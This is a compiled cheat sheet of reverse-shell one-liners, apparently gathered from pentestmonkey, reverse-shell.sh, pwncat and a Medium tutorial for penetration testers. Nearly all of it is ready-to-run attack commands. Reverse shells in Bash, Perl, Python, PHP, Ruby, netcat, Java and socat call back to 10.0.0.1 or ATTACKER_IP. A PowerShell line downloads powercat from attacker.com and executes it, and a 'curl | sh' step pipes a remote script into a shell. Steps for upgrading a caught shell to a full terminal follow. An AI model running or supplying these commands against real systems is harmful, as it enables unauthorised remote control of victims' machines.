How to: Reverse Shell
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
# If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.
# Bash
```bash -i >& /dev/tcp/10.0.0.1/8080 0>&1```
# PERL
```perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'```
# Python
```python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'```
# PHP
```php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'```
# Ruby
```ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'```
# Netcat
```nc -e /bin/sh 10.0.0.1 1234```
```rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f```
# Java
```r = Runtime.getRuntime()```
```p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])```
```p.waitFor()```
# xterm
```xterm -display 10.0.0.1:1```
```Xnest :1```
```xhost +targetip```
# powershell (without download)
```echo IEX(New-Object Net.WebClient).DownloadString("http://attacker.com:8442/powercat.ps1") | powershell -noprofile; powercat -c attacker.com -p 8443 -e cmd```

https://reverse-shell.sh/
# Reverse Shell as a Service
```nc -l 1337```
```curl https://reverse-shell.sh/yourip:1337 | sh```

https://github.com/calebstewart/pwncat
# pwncat is a post-exploitation platform for Linux targets.
# Interactive sh shell
```/bin/sh -i```
# Interactive bash shell
```/bin/bash -i```
# Interactive shell perl
```perl -e 'exec "/bin/sh";'```
# or
```perl -e 'use POSIX; POSIX::setsid(); exec("/bin/bash -i");'```
# Interactive shell ruby
```ruby -e 'exec "/bin/bash"'```

https://fahmifj.medium.com/get-a-fully-interactive-reverse-shell-b7e8d6f5b1c1
# How to Get a Fully Interactive Reverse Shell
# Step 1
```python -c "import pty; pty.spawn('/bin/bash')"```
# or
```python3 -c "import pty; pty.spawn('/bin/bash')"```
# or
```script /dev/null -c bash```
# Step 2
```CTRL + z```
# Step 3
```stty raw -echo```
```fg```
# or
```stty raw -echo;fg```
# Step 4
```export TERM=xterm```
# Reverse shell /dev/pts method
# On attacker
```socat file:`tty`,raw,echo=0 tcp-listen:4444```
# On target
```socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444```